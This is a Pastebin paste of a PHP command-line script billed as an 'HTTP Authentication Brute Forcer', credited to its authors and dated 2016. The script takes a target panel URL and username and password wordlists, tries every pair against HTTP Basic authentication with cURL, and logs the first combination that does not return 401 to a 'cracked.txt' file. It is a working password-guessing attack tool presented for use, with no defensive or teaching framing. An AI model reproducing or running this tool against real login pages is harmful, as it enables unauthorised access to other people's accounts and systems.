Advertisement
Guest User

HTTP Authentication BF

a guest
Jun 23rd, 2016
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.81 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4. set_time_limit(0);
  5. ini_set('memory_limit', '640000M');
  6.  
  7. echo"
  8.  
  9. [#]==============================================[#]
  10. [#]  HTTP Authentication Brute Forcer V 1.0      [#]
  11. [#]           s0w & Nani17                       [#]
  12. [#]  MaDe By Islam ..                            [#]
  13. [#]  Last Update : 24/1/2016                     [#]
  14. [#]==============================================[#]
  15.  
  16. ";
  17.  
  18.  
  19. function curl($url,$user,$pass){
  20. $ch = curl_init();
  21. curl_setopt($ch, CURLOPT_URL,$url);
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  23. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  24. curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
  25. $result = curl_exec($ch);
  26. curl_close($ch);
  27.  
  28.    return $result;
  29. }
  30.  
  31.     function save($site,$user,$pass){
  32.         $fo = fopen("cracked.txt","a+");
  33.         fwrite($fo,"[+] $site\n    $user:$pass\n\n");
  34.         fclose($fo);    
  35.         }
  36.  
  37. echo "\n(Panel URL)      => ";
  38. $panel_url = trim(fgets(STDIN,1024));
  39.  
  40. echo "\n(usernames List) => ";
  41. $user_file = trim(fgets(STDIN,1024));
  42. $users     = file($user_file);
  43. $users     = array_unique($users);
  44. $count_u   = count($users);
  45.  
  46. echo "\n(passwords List) => ";
  47. $pass_file = trim(fgets(STDIN,1024));
  48. $pws       = file($pass_file);
  49. $pws       = array_unique($pws);
  50. $count_w   = count($pws);
  51.  
  52.           sleep(1);
  53.           echo "\n\n\t\t[*] URL       : $panel_url
  54.             usernames : $count_u user
  55.             passwords : $count_w pass
  56.           \t\t\n\t\t    Cracking ... \n\n";
  57.  
  58.    
  59. foreach ($users as $user){ 
  60.     $user = trim($user);
  61.  
  62. foreach ($pws as $pass){   
  63.     $pass = trim($pass);
  64.    
  65. $go = curl($panel_url,$user,$pass);
  66.  
  67.     if(!preg_match('#401#i',$go)){
  68.        
  69.         echo "[+] $user : $pass\n";
  70.         save($panel_url,$user,$pass);
  71.         exit;
  72.        
  73.         }else  
  74.       echo "[-] $panel_url : ($user : $pass) => error\n";
  75. }}
  76.  
  77. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement